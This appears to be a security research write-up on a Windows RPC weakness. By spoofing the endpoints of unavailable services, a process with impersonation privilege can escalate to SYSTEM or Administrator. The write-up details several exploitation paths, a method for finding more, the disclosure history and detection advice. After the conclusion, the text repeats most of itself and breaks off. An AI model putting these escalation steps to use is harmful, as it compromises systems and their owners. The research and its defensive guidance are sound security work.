Intro

Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.

In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.

I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.

Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.

MSRPC

Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.

The figure below illustrates this mechanism.

Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.

The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.

To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.

For example:

• When TCP is used as the transport layer, the endpoint is a TCP port.
• When SMB is used, communication occurs through a named pipe.
• When ALPC is used, the endpoint is an ALPC port.

Each transport mechanism is associated with a specific RPC protocol sequence. For instance:

• ncacn_ip_tcp is used for RPC over TCP.
• ncacn_np is used for RPC over named pipes.
• ncalrpc is used for RPC over ALPC.

In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.

For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.

When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.

Impersonation in Windows

In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.

This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.

To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.

However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.

These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.

As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.

Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.

At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.

This privilege is granted by default to certain service accounts, such as Local Service and Network Service.

Interaction between Group Policy service and TermService

The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.

When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.

At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.

TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.

When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:

• UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
• Endpoint: ncalrpc:[TermSrvApi].
• Function: void Proc8(int).

However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:

• 0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).

This error indicates that the RPC client could not reach the target server.

Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.

The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.

The first two parameters include:

• A pointer to the returned port handle.
• The ALPC port name, represented as an ASCII string.

Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.

The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.

Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.

Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.

Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.

However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?

Could the attacker deploy a fake RPC server with the same endpoint?

If so, would the RPC runtime allow the client to connect to this illegitimate server?

And if the connection is successful, how could an attacker leverage this behavior?

Coercing the Group Policy service

To better understand the implications of the previously described behavior, let us consider the following attack scenario.

Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.

The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.

Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).

When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.

As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.

When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.

RPC architecture flow

Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.

Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.

However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.

As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.

Identifying RPC calls to unavailable servers

As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.

Specifically, I need to capture key RPC metadata, including:

• Interface UUID, endpoint, and OPNUM.
• Impersonation level and RPC status code.
• Client process privilege level, process name, and module path.

This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.

The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.

Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.

ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:

• RPC bindings
• Endpoints
• Interface UUIDs
• Authentication details
• Call flow and timing
• RPC status codes

However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.

For an event to be relevant to this research, the exception must meet two conditions:

• It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
• The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.

I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.

After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.

The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:

• Status code
• Client process name
• Client process ID
• Endpoint

After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.

However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.

By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:

• Interface UUID
• OPNUM
• Impersonation level

After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:

• The DLL where the RPC interface is implemented
• The location of that DLL
• The number of procedures exposed by the interface

To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.

At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.

One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.

In this research, I used several approaches to trigger such events:

1. Monitoring RPC activity during system startup
   I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
2. Triggering administrative operations
   I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
3. Disabling services intentionally
   After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.

Additional privilege escalation paths

After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.

User interaction: From Edge to RDP

Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.

As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.

The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.

However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.

When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.

As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.

Background services: From WDI to RDP

Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.

During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.

This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.

In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.

Abusing the Local Service account: From ipconfig to DHCP

Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.

The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.

In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.

As the figure below illustrates, the attacker can leverage this situation to escalate privileges.

After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.

When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.

As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

Abusing Time

The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.

The service exposes an RPC server with two endpoints:

• \PIPE\W32TIME_ALT
• \RPC Control\W32TIME_ALT

The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.

An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.

As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.

Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.

Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.

Vulnerability disclosure

After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.

Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.

Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.

Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.

The disclosure timeline is shown below:

• 2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
• 2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
• 2026-04-24: expected whitepaper publication date.

Detection and defense

As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.

Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.

I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.

By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.

It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.

Conclusion

All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.

Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.

Intro

Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.

In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.

I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.

Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.

MSRPC

Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.

The figure below illustrates this mechanism.

Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.

The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.

To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.

For example:

• When TCP is used as the transport layer, the endpoint is a TCP port.
• When SMB is used, communication occurs through a named pipe.
• When ALPC is used, the endpoint is an ALPC port.

Each transport mechanism is associated with a specific RPC protocol sequence. For instance:

• ncacn_ip_tcp is used for RPC over TCP.
• ncacn_np is used for RPC over named pipes.
• ncalrpc is used for RPC over ALPC.

In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.

For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.

When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.

Impersonation in Windows

In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.

This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.

To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.

However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.

These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.

As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.

Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.

At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.

This privilege is granted by default to certain service accounts, such as Local Service and Network Service.

Interaction between Group Policy service and TermService

The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.

When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.

At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.

TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.

When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:

• UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
• Endpoint: ncalrpc:[TermSrvApi].
• Function: void Proc8(int).

However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:

• 0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).

This error indicates that the RPC client could not reach the target server.

Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.

The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.

The first two parameters include:

• A pointer to the returned port handle.
• The ALPC port name, represented as an ASCII string.

Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.

The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.

Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.

Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.

Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.

However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?

Could the attacker deploy a fake RPC server with the same endpoint?

If so, would the RPC runtime allow the client to connect to this illegitimate server?

And if the connection is successful, how could an attacker leverage this behavior?

Coercing the Group Policy service

To better understand the implications of the previously described behavior, let us consider the following attack scenario.

Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.

The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.

Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).

When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.

As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.

When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.

RPC architecture flow

Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.

Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.

However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.

As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.

Identifying RPC calls to unavailable servers

As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.

Specifically, I need to capture key RPC metadata, including:

• Interface UUID, endpoint, and OPNUM.
• Impersonation level and RPC status code.
• Client process privilege level, process name, and module path.

This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.

The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.

Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.

ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:

• RPC bindings
• Endpoints
• Interface UUIDs
• Authentication details
• Call flow and timing
• RPC status codes

However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.

For an event to be relevant to this research, the exception must meet two conditions:

• It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
• The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.

I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.

After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.

The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:

• Status code
• Client process name
• Client process ID
• Endpoint

After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.

However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.

By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:

• Interface UUID
• OPNUM
• Impersonation level

After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:

• The DLL where the RPC interface is implemented
• The location of that DLL
• The number of procedures exposed by the interface

To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.

At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.

One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.

In this research, I used several approaches to trigger such events:

1. Monitoring RPC activity during system startup
   I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
2. Triggering administrative operations
   I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
3. Disabling services intentionally
   After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.

Additional privilege escalation paths

After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.

User interaction: From Edge to RDP

